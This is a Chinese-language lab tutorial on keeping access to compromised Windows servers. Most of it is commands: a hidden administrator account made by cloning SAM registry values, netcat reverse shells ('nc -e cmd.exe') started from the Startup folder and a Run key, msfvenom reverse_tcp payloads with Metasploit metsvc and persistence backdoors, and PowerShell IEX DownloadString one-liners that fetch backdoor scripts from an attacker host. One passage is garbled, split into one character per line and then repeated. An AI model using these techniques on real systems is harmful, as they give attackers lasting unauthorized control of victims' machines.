windows权限维持
一、添加影子账户
1.首先常见一个影子账户(隐蔽的)
net user chao1$ passwd /add
加入用户管理员组
net localgroup administrators chao1$ /add
2.打开注册表编辑器regedt32
打开HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users键值,然后找到admin
对
应
的
类
型
以
及
文
件
夹
,
以
及
a
d
m
i
n
i
s
t
r
a
t
o
r
对
应
的
文
件
夹
,
将
a
d
m
i
n
i
s
t
r
a
t
o
r
文
件
夹
中
的
F
值
内
容
复
制
到
a
d
m
i
n
对应的类型以及文件夹,以及administrator对应的文件夹,将administrator文件夹中的F值内容复制到admin
对应的类型以及文件夹,以及administrator对应的文件夹,将administrator文件夹中的F值内容复制到admin对应文件夹F值中。
PS:注意Sam键值在属性中给予administrator完全控制以及读取的权限,默认是不允许的
如果打开发现sam下边没有东西
就要修改一下权限
找到管理员的复制下来,
复制完成后再给刚才创建的影子账户
复制F里面的内容
进行复制到影子用户那个F里面
最后导出
导出这两个内容
我们在进行删除,账户,然后再双击导入,导入之后再注销进行验证
net user chao1$ /del
之后再去查看注册表,发现没了
之后在进行导入
双击刚才导出的注册表
发现成功,两个都需要导入
我们再次查看
发现成功添加,之后我们在进行注销,重新登录
用刚才创建的用户登录
发现成功登录(在03中可以,在12和08中不可以)
二.nc自启动(需要一个nc程序)
注意:这个权限维持的前提一定要把一个nc.exe放到windows 文件夹下边(如果对方服务器开启了360或者其他防护软件,很有可能会被杀掉,所以说这款方法很鸡肋)
1.NC常规测试
nc -lvvp port #攻击者VPS操作 侦听本地port
nc -t -e cmd.exe ip port #受害者操作 正向连接到攻击者的VPS
2.在受害者主机中进入到开机自启动目录下
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 win server 2003
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup win server 2008
创建sys.bat内容为
start /b nc -t -e cmd.exe 192.168.31.132 4444 //地址是kali或者vps得地址,端口是需要监听得端口
在攻击者主机开启侦听
nc -lvvp 4444
重启受害者主机,等待shell反弹
咱们实验一下
把这个bat文件放到这个文件下之后,我们重启一下win 08这台受害机器
同时在ka’li开启监听
3.第三种方法(写入注册表中)
1.创建一个bat文件
任意放到一个路径
注册表开机自启动
使用doc命令
将哪个bat文件写入开机自启动
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "名字" /t REG_SZ /d "路径(C://%%%)" /f
参数说明:
/v 所选项之下要添加的值名 /t RegKey 数据类型 如果忽略,则采用 REG_SZ /d 要分配给添加的注册表 ValueName 的数据 /f 不用提示就强行改写现有注册表项
之后注销,同时在kali开启监听
然后登录上之后会发现反弹成功
不过他这里会挂着一个程序
这就很鸡肋
三、msf权限维持
1.metsvc(正向链接)
A.首先生成一个payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=7777 -f exe -o shell.exe
放到win server 08 上面
B.同时要在kali中得msf中开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 7777
run
C.获取到shell之后
在进行metsvc权限维持
首先在获取这个shell下
run metsvc -A
发现安装了好多这些正向连接得服务
咱们在win08上查看一下
的确创建成功
在win8上面也开启了
然后我们再开启msfsvc进行监听
返回上一层
background
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.2.132
set LPORT 31337 (默认)
run
没验证成功
2.persistence(反向连接)
首先要获取到一个shell,因为上边我们都写了一遍教程,所以我们就不再进行重复了
然后我们直接从获取到shell那一步开始了
成功之后在进行
run persistence -U -i 10 -p 4444 -r 192.168.0.111 //
(地址为反向要连接的,肯定是被攻击的机器反向要连接的地址—后面的地址要填kali或者vps主机的)
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数; -i:设置反向连接间隔时间,单位为秒; -p:设置反向连接的端口号; -r:设置反向连接的ip地址 也是我们kali的地址。
执行成功之后,再将攻击得那台windows2008重启一下,我们每次开机得时候,都会收到这个shell了,
background //返回上一层
前提是在msf上开启监听
开启监听–>重启被攻击的靶机
注意一定要重设一下端口,和之前的exe里面的不一样
登录成功之后就能进行反弹shell
反向连接比正向连接好用
四、powshell权限维持
1.首先要在windows 2012准备一个nc终端
2.其次要将哪个脚本放到kali里面
然后解压出来之后发现有一个powshell可执行的文件
3.咱们需要从这个目录下的shell中使用python开启一个模拟网站的服务,相当于一个phpstudy
python2 -m SimpleHTTPServer 8080
前提是在解压powshell可执行的程序目录开启这个服务,这个东西就相当于网站根目录了
在windows2012中可以访问
4.构造powshell的payload
以下payload仅供参考,没验证成功,告辞
powershell.exe-exec bypass -c “IEX (New-ObjectNet.WebClient).DownloadString(‘http://192.168.0.105:8080/Schtasks-Backdoor.ps1’);Invoke-Tasksbackdoor-method nc -ip 192.168.0.105 -port 8787 -time 2”
powershell IEX (New-Object
System.Net.Webclient).DownloadString(‘http://192.168.0.105:8080/Schtasks-Backdoor.ps1’);nc -c 192.168.0.105 -p 8888 -e cmd
powershell IEX (New-Object
System.Net.Webclient).DownloadString(‘http://192.168.0.105:8080/Schtasks-Backdoor.ps1’);Schtasks-Backdoor -c 192.168.0.105 -p 8888 -e cmd
powershell.exe-exec bypass -c “IEX (New-ObjectNet.WebClient).DownloadString(‘http://192.168.0.105:8080/Invoke-taskBackdoor.ps1’);Invoke-Tasksbackdoor-method nccat -ip 192.168.0.105 -port 8787 -time 2”
powershell.exe -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.0.105:8080/Invoke-taskBackdoor.ps1’);Invoke-Tasksbackdoor -method msf -ip 192.168.0.105 -port 9999 -time 2”
powershell.exe -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.0.105:8080/Invoke-taskBackdoor.ps1’);Invoke-Tasksbackdoor -method nc -ip 192.168.0.105 -port 9999 -time 2”